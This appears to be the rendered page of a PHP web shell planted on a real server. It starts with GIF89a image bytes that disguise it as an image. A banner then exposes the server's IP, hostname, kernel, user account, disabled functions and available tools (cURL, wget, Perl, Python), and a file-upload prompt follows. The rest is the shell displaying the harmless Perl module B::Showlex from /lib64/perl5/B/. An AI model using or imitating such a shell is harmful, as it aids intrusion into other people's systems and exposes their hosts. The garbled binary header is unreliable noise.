GIF89a=( ý' 7IAXKgNgYvYx\%wh&h}týh%ýs%xý}9ýRýý&ý0%ý (ý.ýý5ýSDýý&ýa)ýx5ýý;c*!&r)ï7õ<{4ý3ýH§KoTýýYýaqýýqýýFý !ý ' !ýNETSCAPE2.0 , =( ýýpH,ý$rýl:x(tJýZý,výýzýýxL.:ýýzýnýýý|Nýýýýý~ýýýýýýý& !ý0`9Rý}ýý"ý"a:Sý~xýýýýýýýýgýýýEýýýýýýýRýýýEýýýýBýý ýý8ýýDýýý"ýný ýHýýLýýDkDýBýýýýýDýýýTýýýH ýGýýA Rý |ýým&ýýE8ýSýkGýAýpxýaýýýR2XBýýE8Iýýý6Xý:vT)ý~ýýqýåýý"F~%xý ý 4#Zý0O|-4BsýX:= Qý SalýýyXJ`G&|shýýK3l7ýB|ý$'7J©*0!ýýDýn=ýPýýýýý0`ýRýljýýýýv>ýýý5 ý.69ýødýýýýýnlvý9ýýf{ýýýPbxýl5}ýpýýýýý3aýýýIýOýýýý!>ýýýiýý9ýý#ýý)pýa ½ ý{ý)vmýý%D~6fýýs}RýDýW Eý`!ý ý&L8xý ý{)x`X/>ý}mýýRý*|`Dý=ý_ ^ý5!_&'aýOý7ýcýý`DCx`ý¥ý9ýYýFýýý`?ýý"ý ýn@`ý} lýý@4>ýd S ývýxNýý"@~dýý=ýgýs~Gýýýýýýud &p8Qý)«lXDýýýýA~HýySunýjýýýk*DýLHý] ýýC"JýýXb~ªwSt}6K,ýýqýS:9*:ýýýlý@ý`ýý ý.ìýt9ýSý[©:ýý=`9Nýýýý{¿ýA !Rý:ýýý6ýýxý0ý_ ý;ýýýýýý^ýýý#ýýýý!ýýýýUýýý;0L1ýýýýýp%AýýU,uýý%ýSýý!ýýý~`ýGýýýý ýýý=4ýnpý3ýýýýýýýýýuýuýn|%2ýIýýrý#0ýýJ``8ý@S@5ýýýý^`8Eý]ý.ýSýýý7 ý ý0ýj SýDý zýýýiýSýýýýý!ýýýlýýw9*ýDýIýnEXýýý &AýGoýQfýýFýý;ýýý}ýJýýýýF5ýýQ|ýýýXýýTýýyýýý]ý o ýýC=ýý:ýýýPB@ DýSý(>ýCýx}`ýýxJ,ýàýýp+eE0`ý}`Aý/NEýý ý9@ýýý Hý7ý!%B0`ýl*ýý!8 2ý%ý ý:ý1ý0Eýýux%nP1ý!ýC)ýP81lýxF#¬{ýýýýB0>ýý
Server IP : 217.18.85.50 / Your IP : 18.116.24.148 Web Server : LiteSpeed System : Linux server50.tr85.dhs.com.tr 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64 User : ferhatgenc ( ) PHP Version : 7.2.34 Disable Function : restore_ini,mail,openbasedir,f_open,system,dl,array_compare,array_user_key_compare,passthru,cat,exec,popen,proc_close,proc_get_status,proc_nice,proc_open,escapeshellcmd,escapeshellarg,show_source,posix_mkfifo,ini_restore,mysql_list_dbs,getmyuid,pconnect,link,symlink,fin,passthruexec,fileread,shell_exec,pcntl_exec,ini_alter,leak,apache_child_terminate,chown,posix_kill,posix_setpgid,posix_setsid,posix_setuid,proc_terminate,syslog,allow_url_fopen,fpassthru,execute,shell,chgrp,passthru,socket_select,socket_create,socket_create_listen,socket_create_pair,socket_listen,socket_accept,socket_bind,foreach,socket_strerror,pcntl_fork,pcntl_signal,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,openlog,apache_get_version,apache_getenv,apache_note,apache_setenv,virtualal MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /lib64/perl5/B/ |
Upload File : |
package B::Showlex; our $VERSION = '1.03'; use strict; use B qw(svref_2object comppadlist class); use B::Terse (); use B::Concise (); # # Invoke as # perl -MO=Showlex,foo bar.pl # to see the names of lexical variables used by &foo # or as # perl -MO=Showlex bar.pl # to see the names of file scope lexicals used by bar.pl # # borrowed from B::Concise our $walkHandle = \*STDOUT; sub walk_output { # updates $walkHandle $walkHandle = B::Concise::walk_output(@_); #print "got $walkHandle"; #print $walkHandle "using it"; $walkHandle; } sub shownamearray { my ($name, $av) = @_; my @els = $av->ARRAY; my $count = @els; my $i; print $walkHandle "$name has $count entries\n"; for ($i = 0; $i < $count; $i++) { my $sv = $els[$i]; if (class($sv) ne "SPECIAL") { printf $walkHandle "$i: %s (0x%lx) %s\n", class($sv), $$sv, $sv->PVX; } else { printf $walkHandle "$i: %s\n", $sv->terse; #printf $walkHandle "$i: %s\n", B::Concise::concise_sv($sv); } } } sub showvaluearray { my ($name, $av) = @_; my @els = $av->ARRAY; my $count = @els; my $i; print $walkHandle "$name has $count entries\n"; for ($i = 0; $i < $count; $i++) { printf $walkHandle "$i: %s\n", $els[$i]->terse; #print $walkHandle "$i: %s\n", B::Concise::concise_sv($els[$i]); } } sub showlex { my ($objname, $namesav, $valsav) = @_; shownamearray("Pad of lexical names for $objname", $namesav); showvaluearray("Pad of lexical values for $objname", $valsav); } my ($newlex, $nosp1); # rendering state vars sub newlex { # drop-in for showlex my ($objname, $names, $vals) = @_; my @names = $names->ARRAY; my @vals = $vals->ARRAY; my $count = @names; print $walkHandle "$objname Pad has $count entries\n"; printf $walkHandle "0: %s\n", $names[0]->terse unless $nosp1; for (my $i = 1; $i < $count; $i++) { printf $walkHandle "$i: %s = %s\n", $names[$i]->terse, $vals[$i]->terse unless $nosp1 and $names[$i]->terse =~ /SPECIAL/; } } sub showlex_obj { my ($objname, $obj) = @_; $objname =~ s/^&main::/&/; showlex($objname, svref_2object($obj)->PADLIST->ARRAY) if !$newlex; newlex ($objname, svref_2object($obj)->PADLIST->ARRAY) if $newlex; } sub showlex_main { showlex("comppadlist", comppadlist->ARRAY) if !$newlex; newlex ("main", comppadlist->ARRAY) if $newlex; } sub compile { my @options = grep(/^-/, @_); my @args = grep(!/^-/, @_); for my $o (@options) { $newlex = 1 if $o eq "-newlex"; $nosp1 = 1 if $o eq "-nosp"; } return \&showlex_main unless @args; return sub { my $objref; foreach my $objname (@args) { next unless $objname; # skip nulls w/o carping if (ref $objname) { print $walkHandle "B::Showlex::compile($objname)\n"; $objref = $objname; } else { $objname = "main::$objname" unless $objname =~ /::/; print $walkHandle "$objname:\n"; no strict 'refs'; die "err: unknown function ($objname)\n" unless *{$objname}{CODE}; $objref = \&$objname; } showlex_obj($objname, $objref); } } } 1; __END__ =head1 NAME B::Showlex - Show lexical variables used in functions or files =head1 SYNOPSIS perl -MO=Showlex[,-OPTIONS][,SUBROUTINE] foo.pl =head1 DESCRIPTION When a comma-separated list of subroutine names is given as options, Showlex prints the lexical variables used in those subroutines. Otherwise, it prints the file-scope lexicals in the file. =head1 EXAMPLES Traditional form: $ perl -MO=Showlex -e 'my ($i,$j,$k)=(1,"foo")' Pad of lexical names for comppadlist has 4 entries 0: SPECIAL #1 &PL_sv_undef 1: PVNV (0x9db0fb0) $i 2: PVNV (0x9db0f38) $j 3: PVNV (0x9db0f50) $k Pad of lexical values for comppadlist has 5 entries 0: SPECIAL #1 &PL_sv_undef 1: NULL (0x9da4234) 2: NULL (0x9db0f2c) 3: NULL (0x9db0f44) 4: NULL (0x9da4264) -e syntax OK New-style form: $ perl -MO=Showlex,-newlex -e 'my ($i,$j,$k)=(1,"foo")' main Pad has 4 entries 0: SPECIAL #1 &PL_sv_undef 1: PVNV (0xa0c4fb8) "$i" = NULL (0xa0b8234) 2: PVNV (0xa0c4f40) "$j" = NULL (0xa0c4f34) 3: PVNV (0xa0c4f58) "$k" = NULL (0xa0c4f4c) -e syntax OK New form, no specials, outside O framework: $ perl -MB::Showlex -e \ 'my ($i,$j,$k)=(1,"foo"); B::Showlex::compile(-newlex,-nosp)->()' main Pad has 4 entries 1: PVNV (0x998ffb0) "$i" = IV (0x9983234) 1 2: PVNV (0x998ff68) "$j" = PV (0x998ff5c) "foo" 3: PVNV (0x998ff80) "$k" = NULL (0x998ff74) Note that this example shows the values of the lexicals, whereas the other examples did not (as they're compile-time only). =head2 OPTIONS The C<-newlex> option produces a more readable C<< name => value >> format, and is shown in the second example above. The C<-nosp> option eliminates reporting of SPECIALs, such as C<0: SPECIAL #1 &PL_sv_undef> above. Reporting of SPECIALs can sometimes overwhelm your declared lexicals. =head1 SEE ALSO L<B::Showlex> can also be used outside of the O framework, as in the third example. See L<B::Concise> for a fuller explanation of reasons. =head1 TODO Some of the reported info, such as hex addresses, is not particularly valuable. Other information would be more useful for the typical programmer, such as line-numbers, pad-slot reuses, etc.. Given this, -newlex isnt a particularly good flag-name. =head1 AUTHOR Malcolm Beattie, C<mbeattie@sable.ox.ac.uk> =cut